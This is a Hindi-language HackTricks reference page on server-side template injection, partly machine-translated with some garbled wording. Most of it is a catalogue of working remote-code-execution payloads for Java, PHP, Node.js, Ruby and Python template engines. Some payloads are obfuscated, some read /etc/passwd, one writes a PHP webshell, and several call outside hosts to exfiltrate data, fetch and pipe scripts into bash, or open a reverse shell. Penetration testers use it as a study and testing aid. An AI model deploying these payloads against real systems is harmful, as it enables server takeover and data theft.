SSTI (Server Side Template Injection)

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबाऊ मिलन स्थल है।

SSTI (सर्वर-साइड टेम्पलेट इंजेक्शन) क्या है

सर्वर-साइड टेम्पलेट इंजेक्शन एक सुरक्षा दोष है जो तब होता है जब एक हमलावर किसी टेम्पलेट में दुर्भाग्यपूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर क्रियान्वित होता है। यह दोष विभिन्न प्रौद्योगिकियों में पाया जा सकता है, जिसमें Jinja भी शामिल है।

Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब एप्लिकेशन में उपयोग किया जाता है। चलिए एक उदाहरण को विचार करें जो Jinja का उपयोग करते हुए एक विकल्पनीय कोड स्निपेट को दर्शाता है:

output = template.render(name=request.args.get('name'))

इस वंलरेबल कोड में, उपयोक्ता के अनुरोध से आने वाले name पैरामीटर को render फंक्शन का उपयोग करके सीधे टेम्प्लेट में पारित किया जाता है। यह एक हमलावादी को name पैरामीटर में दुर्भाग्यपूर्ण कोड इंजेक्शन करने की संभावना बना सकता है, जिससे सर्वर-साइड टेम्प्लेट इंजेक्शन हो सकता है।

उदाहरण के लिए, एक हमलावादी एक ऐसा अनुरोध तैयार कर सकता है जिसमें एक ऐसा पेलोड हो:

http://vulnerable-website.com/?name={{bad-stuff-here}}

दुरुपयोग {{बुरी-चीज-यहाँ}} को नाम पैरामीटर में इंजेक्ट किया जाता है। यह पेलोड जिंजा टेम्पलेट निर्देशिकाओं को शामिल कर सकता है जो हमलावार को अनधिकृत कोड चलाने या टेम्पलेट इंजन को मानिये को बदलने की सक्षमता प्रदान कर सकते हैं, सर्वर पर नियंत्रण प्राप्त करने की संभावना है।

सर्वर-साइड टेम्पलेट इंजेक्शन संरक्षण के लिए, डेवलपर्स को सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को ठीक से सैनिटाइज़ और मान्यता प्राप्त किया जाता है पहले जब टेम्पलेट में डाला जाता है। इनपुट मान्यता प्राप्त करने और संदर्भ-जागरूकता तकनीकों का उपयोग करना इस जोखिम को कम करने में मदद कर सकता है।

पता लगाना

सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, पहले, टेम्पलेट को फज़िंग एक सीधा दृष्टिकोण है। इसमें एक विशेष वर्णों की अनुक्रमिकता (${{<%[%'"}}%\) को टेम्पलेट में इंजेक्ट करना शामिल है और सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना नियमित डेटा के साथ इस विशेष पेलोड के बीच। संकट सूचक शामिल हैं:

  • फेंकी गई गलतियाँ, संकट और संभावना है कि टेम्पलेट इंजन को प्रकट करें।

  • प्रतिबिम्ब में पेलोड की अनुपस्थिति, या इसके भागों की कमी, इसका सुझाव देती है कि सर्वर इसे नियमित डेटा से अलग तरीके से प्रसंस्करण करता है।

  • सादा-लेखन संदर्भ: XSS से भिन्न करने के लिए देखें कि सर्वर क्या टेम्पलेट अभिव्यक्तियों का मूल्यांकन करता है (जैसे, {{7*7}}, ${7*7})।

  • कोड संदर्भ: इनपुट पैरामीटर में परिवर्तन करके संकट की पुष्टि करें। उदाहरण के लिए, http://vulnerable-website.com/?greeting=data.username में greeting को बदलकर देखें कि क्या सर्वर का उत्पादन गतिशील है या स्थिर है, जैसे कि greeting=data.username}}hello उपयोगकर्ता नाम लौटाता है।

पहचान चरण

टेम्पलेट इंजन की पहचान करना त्रुटि संदेशों का विश्लेषण करने या विभिन्न भाषा-विशेष पेलोड का मैन्युअल परीक्षण करने के माध्यम से होता है। त्रुटियों का कारण बनने वाले सामान्य पेलोड में शामिल हैं ${7/0}, {{7/0}}, और <%= 7/0 %>। गणितीय परिचालन के सर्वर की प्रतिक्रिया का अध्ययन करने से विशेष टेम्पलेट इंजन का पता लगाने में मदद मिलती है।

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

एक इंटरैक्टिव तालिका जिसमें सबसे प्रभावी टेम्पलेट इंजेक्शन पॉलीग्लॉट्स के साथ 44 सबसे महत्वपूर्ण टेम्पलेट इंजन की अपेक्षित प्रतिक्रियाएं हैं।

शोषण

सामान्य

इस वर्डलिस्ट में आप नीचे उल्लिखित कुछ इंजनों के वातावरण में परिभाषित चर पा सकते हैं:

जावा

जावा - मूल इंजेक्शन

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - सिस्टम के पर्यावरण चरों को पुनः प्राप्त करें

${T(java.lang.System).getenv()}

Java - /etc/passwd पुनः प्राप्त करें

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

आप अपने payloads को https://try.freemarker.apache.org पर आजमा सकते हैं

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - सैंडबॉक्स बाईपास

⚠️ केवल Freemarker संस्करण 2.3.30 से नीचे काम करता है

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

अधिक जानकारी

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

अधिक जानकारी

Thymeleaf

Thymeleaf में, SSTI जोखिमों के लिए एक सामान्य परीक्षण ${7*7} है, जो इस टेम्पलेट इंजन के लिए भी लागू होता है। संभावित रिमोट कोड निष्पादन के लिए, निम्नलिखित जैसे अभिव्यक्तियों का उपयोग किया जा सकता है:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf को इन अभिव्यक्तियों को विशेष विशेषताओं के भीतर रखने की आवश्यकता है। हालांकि, अन्य टेम्पलेट स्थानों के लिए अभिव्यक्ति इनलाइनिंग समर्थित है, [[...]] या [(...)] जैसी वाक्याकारी का उपयोग करके। इस प्रकार, एक साधारण SSTI परीक्षण पेडलो [[${7*7}]] की तरह दिख सकता है।

हालांकि, इस पेडल काम करने की संभावना सामान्य रूप से कम होती है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन डायनामिक टेम्पलेट जनरेशन का समर्थन नहीं करती; टेम्पलेट पूर्वनिर्धारित होने चाहिए। डेवलपर्स को अपना खुद का TemplateResolver लागू करने की आवश्यकता होगी, ताकि वे स्ट्रिंग्स से टेम्पलेट बना सकें, जो असामान्य है।

Thymeleaf एक्सप्रेशन प्रीप्रोसेसिंग भी प्रदान करता है, जहां डबल अंडरस्कोर्स (__...__) के भीतर अभिव्यक्तियाँ पूर्वसंस्कृत होती हैं। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित है:

#{selection.__${sel.code}__}

Thymeleaf में सुरक्षा की उदाहरण

निम्नलिखित कोड स्निपेट को विकसित करने के लिए संदेहास्पद हो सकता है:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

यह इसका संकेत देता है कि यदि टेम्पलेट इंजन इनपुट को गलत ढंग से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है और यूआरएल तक पहुँच सकता है:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

अधिक जानकारी

pageEL - Expression Language

स्प्रिंग फ्रेमवर्क (जावा)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

फ़िल्टर को उमकरना

एक से अधिक चर अभिव्यक्तियों का उपयोग किया जा सकता है, अगर ${...} काम नहीं करता है तो #{...}, *{...}, @{...} या ~{...} का प्रयास करें।

  • /etc/passwd को पढ़ें

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • पेयलोड उत्पादन के लिए कस्टम स्क्रिप्ट

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

अधिक जानकारी

स्प्रिंग व्यू मेनिपुलेशन (जावा)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
pageEL - Expression Language

Pebble (Java)

  • {{ कुछस्ट्रिंग.toUPPERCASE() }}

पुराना संस्करण Pebble ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

नया संस्करण पेबल:

{% set cmd = 'id' %}




{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (जावा)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - कमांड क्रियान्वयन

https://github.com/HubSpot/jinjava/

स्थापित किया गया https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

अधिक जानकारी

Hubspot - HuBL (Java)

  • {% %} बयान विभाजक

  • {{ }} अभिव्यक्ति विभाजक

  • {# #} टिप्पणी विभाजक

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोज करें और जिनजावा परियोजना को Github पर खोजा.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

अधिक जानकारी

अभिव्यक्ति भाषा - EL (जावा)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

अभिव्यक्ति भाषा (EL) एक मौलिक सुविधा है जो जावाEE में प्रस्तुति परत (जैसे वेब पृष्ठ) और अनुप्रयोगिकी (जैसे प्रबंधित बीन्स) के बीच संवाद को सुगम बनाती है। यह कम्युनिकेशन को सुगम बनाने के लिए कई जावाEE प्रौद्योगिकियों में व्यापक रूप से प्रयोग किया जाता है। EL का उपयोग करने वाली मुख्य जावाEE प्रौद्योगिकियाँ निम्नलिखित हैं:

  • जावासर्वर फेसेस (JSF): JSF पृष्ठों में घटकों को पृष्ठों के पीछे के डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है।

  • जावासर्वर पेज्स (JSP): JSP में डेटा तक पहुंचने और उसे संशोधित करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को अनुप्रयोग डेटा से जोड़ना आसान हो जाता है।

  • कॉन्टेक्स्ट और डिपेंडेंसी इंजेक्शन फॉर जावा ई (CDI): EL CDI के साथ मिलकर वेब परत और प्रबंधित बीन्स के बीच संवाद को सुनिश्चित करने के लिए एकत्रित करता है, जिससे एक अधिक संगठित अनुप्रयोग संरचना होती है।

EL इंटरप्रीटर्स का शोषण के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ की जाँच करें:

pageEL - Expression Language

ग्रूवी (जावा)

निम्नलिखित सुरक्षा प्रबंधक बाईपास इस लेखन से लिए गए हैं।

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उफानन सम्मेलन स्थल है हर विषय में।

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

अधिक जानकारी

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - टेम्पलेट प्रारूप

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

अधिक जानकारी

Plates (PHP)

Plates PHP में एक टेम्पलेटिंग इंजन है, जो Twig से प्रेरित है। हालांकि, Twig के विपरीत, जो एक नया सिंटेक्स पेश करता है, Plates टेम्पलेट में मौजूदा PHP कोड का उपयोग करता है, जिससे PHP डेवलपर्स के लिए समझना आसान होता है।

कंट्रोलर:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

पृष्ठ टेम्पलेट:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

रूपरेखा टेम्प्लेट:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

अधिक जानकारी

PHPlib और HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib के समान है, लेकिन Pear में पोर्ट किया गया है।

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

अधिक जानकारी

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

अधिक जानकारी

patTemplate (PHP)

patTemplate PHP टेम्पलेटिंग इंजन, जो एक दस्तावेज़ को विभिन्न भागों में विभाजित करने के लिए XML टैग का उपयोग करता है।

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

अधिक जानकारी

Handlebars (NodeJS)

पथ ट्रावर्सल (अधिक जानकारी यहाँ).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = त्रुटि

  • ${7*7} = ${7*7}

  • कुछ नहीं

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

अधिक जानकारी

JsRender (NodeJS)

टेम्पलेट

विवरण

मूल्यांकन और आउटपुट रेंडर करें

मूल्यांकन और आउटपुट HTML कोड के साथ रेंडर करें

टिप्पणी

और

कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम)

  • = 49

क्लाइंट साइड

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

सर्वर साइड

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

अधिक जानकारी

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

उदाहरण सर्वर साइड रेंडर

var pugjs = require('pug');
home = pugjs.render(injected_page)

अधिक जानकारी

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = कोई आउटपुट नहीं

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = त्रुटि

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

अधिक जानकारी

ERB (रूबी)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = त्रुटि

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

अधिक जानकारी

Slim (Ruby)

  • { 7 * 7 }

{ %x|env| }

अधिक जानकारी

Python

अनिवार्य कमांड निषेध को छलकर बाहर निकलने के तरीके के बारे में जानने के लिए निम्नलिखित पृष्ठ की जाँच करें:

pageBypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}





{{os.system('whoami')}}
{{os.system('whoami')}}

अधिक जानकारी

Jinja2 (Python)

आधिकारिक वेबसाइट

Jinja2 एक पूर्ण विशेषता युक्त टेम्पलेट इंजन है जो Python के लिए है। इसमें पूर्ण यूनिकोड समर्थन, एक वैकल्पिक एकीकृत सैंडबॉक्स निष्पादन वातावरण, व्यापक उपयोग किया जाता है और बीएसडी लाइसेंस है।

  • {{7*7}} = त्रुटि

  • ${7*7} = ${7*7}

  • {{foobar}} कुछ नहीं

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

